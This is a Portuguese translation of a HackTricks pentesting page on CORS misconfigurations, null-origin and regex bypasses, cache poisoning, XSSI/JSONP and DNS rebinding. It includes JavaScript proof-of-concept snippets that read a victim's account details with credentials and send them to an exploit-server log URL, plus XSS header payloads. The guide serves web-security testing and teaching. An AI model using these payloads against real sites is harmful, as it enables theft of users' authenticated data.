hacktricks/pentesting-web/cors-bypass.md
2023-06-06 18:56:34 +00:00

25 KiB

CORS - Configurações Incorretas e Bypass

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

O que é CORS?

O padrão CORS (Compartilhamento de Recursos de Origem Cruzada) é necessário porque ele permite que servidores especifiquem quem pode acessar seus ativos e quais métodos de solicitação HTTP são permitidos a partir de recursos externos.

Uma política de mesma origem requer que tanto o servidor solicitante de um recurso quanto o servidor onde o recurso está localizado usem o mesmo protocolo ([http://), nome de domínio](http://), nome de domínio) e a mesma porta (80). Então, se o servidor força a política de mesma origem, apenas páginas da web do mesmo domínio e porta poderão acessar os recursos.

A tabela a seguir mostra como a política de mesma origem será aplicada em http://normal-website.com/example/example.html :

URL acessada Acesso permitido?
http://normal-website.com/example/ Sim: mesmo esquema, domínio e porta
http://normal-website.com/example2/ Sim: mesmo esquema, domínio e porta
https://normal-website.com/example/ Não: esquema e porta diferentes
http://en.normal-website.com/example/ Não: domínio diferente
http://www.normal-website.com/example/ Não: domínio diferente
http://normal-website.com:8080/example/ Não: porta diferente*

*O Internet Explorer permitirá esse acesso porque o IE não leva em conta o número da porta ao aplicar a política de mesma origem.

Cabeçalho Access-Control-Allow-Origin

A especificação de Access-Control-Allow-Origin permite múltiplas origens, ou o valor null, ou o caractere coringa *. No entanto, nenhum navegador suporta múltiplas origens e há restrições no uso do coringa *. (O caractere coringa só pode ser usado sozinho, isso falhará Access-Control-Allow-Origin: https://*.normal-website.com e não pode ser usado com Access-Control-Allow-Credentials: true)

Este cabeçalho é retornado por um servidor quando um site solicita um recurso de outro domínio, com um cabeçalho Origin adicionado pelo navegador.

Cabeçalho Access-Control-Allow-Credentials

O comportamento padrão das solicitações de recursos de origem cruzada é que as solicitações sejam passadas sem credenciais como cookies e o cabeçalho de autorização. No entanto, o servidor de origem cruzada pode permitir a leitura da resposta quando as credenciais são passadas para ele definindo o cabeçalho CORS Access-Control-Allow-Credentials como true.

Se o valor for definido como true, o navegador enviará credenciais (cookies, cabeçalhos de autorização ou certificados de cliente TLS).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
        console.log(xhr.responseText);
    }
}
xhr.open('GET', 'http://example.com/', true); 
xhr.withCredentials = true; 
xhr.send(null);
fetch(url, {
  credentials: 'include'  
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

Pedido de pré-voo

Em certas circunstâncias, quando um pedido de domínio cruzado:

  • inclui um método HTTP não padrão (HEAD, GET, POST)
  • inclui novos cabeçalhos
  • inclui um valor de cabeçalho Content-Type especial

{% hint style="info" %} Verifique neste link as condições de um pedido para evitar o envio de um pedido de pré-voo {% endhint %}

o pedido de origem cruzada é precedido por um pedido usando o método OPTIONS, e o protocolo CORS exige uma verificação inicial sobre quais métodos e cabeçalhos são permitidos antes de permitir o pedido de origem cruzada. Isso é chamado de verificação de pré-voo. O servidor retorna uma lista de métodos permitidos além da origem confiável e o navegador verifica se o método do site solicitante é permitido.

{% hint style="danger" %} Observe que, mesmo que um pedido de pré-voo não seja enviado porque as condições do "pedido regular" são respeitadas, a resposta precisa ter os cabeçalhos de autorização ou o navegador não poderá ler a resposta do pedido. {% endhint %}

Por exemplo, este é um pedido de pré-voo que está buscando usar o método PUT juntamente com um cabeçalho de pedido personalizado chamado Special-Request-Header:

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

O servidor pode retornar uma resposta como a seguinte:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers Cabeçalhos permitidos
  • Access-Control-Expose-Headers Cabeçalhos expostos
  • Access-Control-Max-Age Define um período máximo para armazenar em cache a resposta pré-voo para reutilização
  • Access-Control-Request-Headers O cabeçalho que a solicitação de origem cruzada deseja enviar
  • Access-Control-Request-Method O método que a solicitação de origem cruzada deseja usar
  • Origin Origem da solicitação de origem cruzada (definido automaticamente pelo navegador)

Observe que geralmente (dependendo do tipo de conteúdo e cabeçalhos definidos) em uma solicitação GET/POST, nenhuma solicitação pré-voo é enviada (a solicitação é enviada diretamente), mas se você quiser acessar os cabeçalhos/corpo da resposta, ela deve conter um cabeçalho Access-Control-Allow-Origin permitindo isso.
Portanto, o CORS não protege contra CSRF (mas pode ser útil).

Solicitação pré-voo de rede local

Quando uma solicitação é enviada para um endereço IP de rede local, 2 cabeçalhos CORS adicionais são enviados:

  • O cabeçalho de solicitação do cliente Access-Control-Request-Local-Network indica que a solicitação é uma solicitação de rede local
  • O cabeçalho de resposta do servidor Access-Control-Allow-Local-Network indica que um recurso pode ser compartilhado com segurança com redes externas

Uma resposta válida permitindo a solicitação de rede local também precisa ter na resposta o cabeçalho Access-Controls-Allow-Local_network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://public.example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} Observe que o IP linux 0.0.0.0 funciona para burlar esses requisitos para acessar o localhost, pois esse endereço IP não é considerado "local".

Também é possível burlar os requisitos da Rede Local se você usar o endereço IP público de um endpoint local (como o IP público do roteador). Porque em várias ocasiões, mesmo que o IP público seja acessado, se for da rede local, o acesso será concedido.

{% endhint %}

Configurações incorretas exploráveis

Observe que a maioria dos ataques reais requer que Access-Control-Allow-Credentials seja definido como true porque isso permitirá que o navegador envie as credenciais e leia a resposta. Sem credenciais, muitos ataques se tornam irrelevantes; isso significa que você não pode usar os cookies do usuário, então muitas vezes não há nada a ser ganho fazendo com que o navegador deles emita a solicitação em vez de emitir você mesmo.

Uma exceção notável é quando a localização da rede da vítima funciona como uma espécie de autenticação. Você pode usar o navegador da vítima como um proxy para ignorar a autenticação baseada em IP e acessar aplicativos de intranet. Em termos de impacto, isso é semelhante ao DNS rebinding, mas muito menos complicado de explorar.

Reflected Origin in Access-Control-Allow-Origin

No mundo real, isso não pode acontecer, pois esses 2 valores dos cabeçalhos são proibidos juntos.
Também é verdade que muitos desenvolvedores desejam permitir vários URLs no CORS, mas curingas de subdomínio ou listas de URLs não são permitidos. Então, vários desenvolvedores geram o cabeçalho **Access-Control-Allow-Origin** dinamicamente, e em mais de uma ocasião eles apenas copiam o valor do cabeçalho Origin.

Nesse caso, a mesma vulnerabilidade pode ser explorada.

Em outros casos, o desenvolvedor poderia verificar se o domínio (victimdomain.com) aparece no cabeçalho Origin, então, um atacante pode usar um domínio chamado attackervictimdomain.com para roubar informações confidenciais.

<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
   req.withCredentials = true;
   req.send();

   function reqListener() {
       location='/log?key='+this.responseText;
   };
</script>

A Origem null

null é um valor especial para o cabeçalho Origin. A especificação menciona que ele é acionado por redirecionamentos e arquivos HTML locais. Algumas aplicações podem permitir a origem null na lista branca para suportar o desenvolvimento local da aplicação.
Isso é interessante porque várias aplicações permitirão esse valor dentro do CORS e qualquer site pode facilmente obter a origem nula usando um iframe isolado:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
  req.withCredentials = true;
  req.send();
  function reqListener() {
    location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
  };
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
  req.withCredentials = true;
  req.send();
  function reqListener() {
    location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
  };
</script>"></iframe>

Burlas de Regexp

Se você descobriu que o domínio victim.com está na lista branca, você deve verificar se victim.com.attacker.com também está na lista branca, ou, caso você possa assumir algum subdomínio, verifique se somesubdomain.victim.com está na lista branca.

Burlas de Regexp Avançadas

A maioria das expressões regulares usadas para identificar o domínio dentro da string se concentrará em caracteres alfanuméricos ASCII e .-. Então, algo como victimdomain.com{.attacker.com dentro do cabeçalho de Origem será interpretado pela expressão regular como se o domínio fosse victimdomain.com, mas o navegador (neste caso, o Safari suporta esse caractere no domínio) acessará o domínio attacker.com.

O caractere _ (em subdomínios) não é apenas suportado no Safari, mas também no Chrome e no Firefox!

Então, usando um desses subdomínios, você pode burlar algumas expressões regulares "comuns" para encontrar o domínio principal de uma URL.

Para obter mais informações e configurações dessa burla, consulte: https://www.corben.io/advanced-cors-techniques/ e https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

A partir de XSS dentro de um subdomínio

Um mecanismo de defesa que os desenvolvedores usam contra a exploração do CORS é listar em branco os domínios que frequentemente solicitam acesso a informações. No entanto, isso não é totalmente seguro, porque se um dos subdomínios do domínio listado em branco for vulnerável a outros exploits, como XSS, ele pode permitir a exploração do CORS.

Vamos considerar um exemplo, o código a seguir mostra a configuração que permite que subdomínios de requester.com acessem recursos de provider.com.

if ($_SERVER['HTTP_HOST'] == '*.requester.com')
 {
  //Access data
  else{ // unauthorized access}
}

Supondo que um usuário tenha acesso a sub.requester.com, mas não a requester.com, e supondo que sub.requester.com seja vulnerável a XSS. O usuário pode explorar provider.com usando o método de ataque de script entre sites.

Envenenamento de cache do lado do servidor

Se as estrelas estiverem alinhadas, podemos usar o envenenamento de cache do lado do servidor via injeção de cabeçalho HTTP para criar uma vulnerabilidade XSS armazenada.

Se um aplicativo reflete o cabeçalho de origem sem nem mesmo verificá-lo quanto a caracteres ilegais como , efetivamente temos uma vulnerabilidade de injeção de cabeçalho HTTP contra usuários do IE/Edge, já que o Internet Explorer e o Edge veem \r (0x0d) como um terminador de cabeçalho HTTP válido: GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

O Internet Explorer vê a resposta como:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Isso não é diretamente explorável porque não há como um invasor fazer o navegador web de alguém enviar um cabeçalho malformado como esse, mas eu posso criar manualmente essa solicitação no Burp Suite e um cache do lado do servidor pode salvar a resposta e servi-la para outras pessoas. O payload que usei mudará o conjunto de caracteres da página para UTF-7, que é notoriamente útil para criar vulnerabilidades XSS.

Envenenamento de cache do lado do cliente

Você pode ter encontrado ocasionalmente uma página com XSS refletido em um cabeçalho HTTP personalizado. Digamos que uma página da web reflita o conteúdo de um cabeçalho personalizado sem codificação:

GET / HTTP/1.1  
Host: example.com  
X-User-id: &lt;svg/onload=alert\(1\)&gt;

HTTP/1.1 200 OK  
Access-Control-Allow-Origin: \*  
Access-Control-Allow-Headers: X-User-id  
Content-Type: text/html  
...  
Invalid user: &lt;svg/onload=alert\(1\)&gt;\

Com o CORS, podemos enviar qualquer valor no Header. Por si só, isso é inútil, já que a resposta contendo nosso JavaScript injetado não será renderizada. No entanto, se Vary: Origin não tiver sido especificado, a resposta pode ser armazenada no cache do navegador e exibida diretamente quando o navegador navegar para a URL associada. Eu criei um fiddle para tentar esse ataque em uma URL de sua escolha. Como esse ataque usa o cache do lado do cliente, ele é bastante confiável.

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send();
</script>

Bypass

XSSI (Inclusão de Script entre Sites) / JSONP

XSSI designa um tipo de vulnerabilidade que explora o fato de que, quando um recurso é incluído usando a tag script, a SOP não se aplica, porque os scripts devem ser capazes de serem incluídos entre domínios. Um atacante pode, assim, ler tudo o que foi incluído usando a tag script.

Isso é especialmente interessante quando se trata de JavaScript dinâmico ou JSONP, quando informações de autoridade ambiental, como cookies, são usadas para autenticação. Os cookies são incluídos ao solicitar um recurso de um host diferente. Plugin do BurpSuite: https://github.com/kapytein/jsonp

Leia mais sobre os diferentes tipos de XSSI e como explorá-los aqui.

Tente adicionar um parâmetro de retorno de chamada (callback) na solicitação. Talvez a página tenha sido preparada para enviar os dados como JSONP. Nesse caso, a página enviará de volta os dados com Content-Type: application/javascript, o que contornará a política CORS.

Bypass fácil (inútil?)

Você pode pedir a um aplicativo da web para fazer uma solicitação para você e enviar de volta a resposta. Isso contornará o Access-Control-Allow-Origin, mas observe que as credenciais para a vítima final não serão enviadas porque você estará entrando em contato com um domínio diferente (aquele que fará a solicitação para você).

CORS-escape

CORS-escape fornece um proxy que encaminha nossa solicitação juntamente com seus cabeçalhos, e também finge o cabeçalho Origin (Origin = domínio solicitado). Assim, a política CORS é contornada.
O código-fonte está no Github, para que você possa hospedar o seu próprio.

xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");

simple-cors-escape

Proxying é como "passar" sua solicitação, exatamente como você a enviou. Poderíamos resolver isso de uma maneira alternativa que ainda envolve outra pessoa fazendo a solicitação para você, mas desta vez, em vez de passar sua solicitação, o servidor faz sua própria solicitação, mas com os parâmetros que você especificou.

Bypass de Iframe + Popup

Você pode burlar verificações CORS como e.origin === window.origin criando um iframe e a partir dele abrindo uma nova janela. Mais informações na seguinte página:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

DNS Rebinding via TTL

Basicamente, você faz a vítima acessar sua página, então você muda o DNS do seu domínio (o IP) e faz com que ele aponte para a página da web da vítima. Você faz sua vítima executar (JS) algo quando o TTL acabar para que uma nova solicitação DNS seja feita e, em seguida, você poderá coletar as informações (como você sempre mantém o usuário em seu domínio, ele não enviará nenhum cookie para o servidor da vítima, então essa opção abusa dos privilégios especiais do IP da vítima).

Mesmo que você defina o TTL muito baixo (0 ou 1), os navegadores têm um cache que impedirá que você abusar disso por vários segundos / minutos.

Portanto, essa técnica é útil para burlar verificações explícitas (a vítima está realizando explicitamente uma solicitação DNS para verificar o IP do domínio e quando o bot é chamado, ele fará o seu próprio).

Ou quando você pode ter um usuário / bot na mesma página por um longo tempo (para que você possa esperar até que o cache expire).

Se você precisar de algo rápido para abusar disso, pode usar um serviço como https://lock.cmpxchg8b.com/rebinder.html.

Se você quiser executar seu próprio servidor de DNS rebinding, pode usar algo como DNSrebinder, em seguida, expor a porta local 53/udp, criar um registro A apontando para ele (ns.example.com) e criar um registro NS apontando para o subdomínio A criado anteriormente (ns.example.com).
Então, qualquer subdomínio desse subdomínio (ns.example.com) será resolvido pelo seu host.

Confira também o servidor em execução publicamente em http://rebind.it/singularity.html

DNS Rebinding via DNS Cache Flooding

Como foi explicado na seção anterior, os navegadores têm os IPs dos domínios armazenados em cache por mais tempo do que o especificado no TTL. No entanto, há uma maneira de burlar essa defesa.

Você pode ter um trabalhador de serviço que inunda o cache DNS para forçar uma segunda solicitação DNS. Então, o fluxo será como:

  1. Solicitação DNS respondida com o endereço do atacante
  2. O trabalhador de serviço inunda o cache DNS (o nome do servidor atacante em cache é excluído)
  3. Segunda solicitação DNS, desta vez respondida com 127.0.0.1

Azul é a primeira solicitação DNS e laranja é a inundação.

DNS Rebinding via Cache

Como foi explicado na seção anterior, os navegadores têm os IPs dos domínios armazenados em cache por mais tempo do que o especificado no TTL. No entanto, há outra maneira de burlar essa defesa.

Você pode criar 2 registros A (ou 1 com 2 IPs, dependendo do provedor) para o mesmo subdomínio no provedor DNS e quando um navegador os verifica, ele receberá ambos.

Agora, se o navegador decidir usar o endereço IP do atacante primeiro, o atacante poderá servir a carga útil que realizará solicitações HTTP para o mesmo domínio. No entanto, agora que o atacante conhece o IP da vítima, ele deixará de responder ao navegador da vítima.

Quando o navegador descobrir que o domínio não está respondendo a ele, ele usará o segundo IP fornecido, então ele acessará um lugar diferente, burlando o SOP. O atacante pode abusar disso para obter as informações e exfiltrá-las.

{% hint style="warning" %} Observe que, para acessar o localhost, você deve tentar restringir 127.0.0.1 no Windows e 0.0.0.0 no Linux.
Provedores como godaddy ou cloudflare não me permitiram usar o IP 0.0.0.0, mas a AWS route53 me permitiu criar um registro A com 2 IPs, sendo um deles "0.0.0.0"

{% endhint %}

Para mais informações, você pode verificar https://unit42.paloaltonetworks.com/dns-rebinding/

Outros Bypasses Comuns

  • Se endereços IP internos não são permitidos, eles podem ter esquecido de proibir 0.0.0.0 (funciona no Linux e no Mac)
  • Se endereços IP internos não são permitidos, responda com um CNAME para **localhost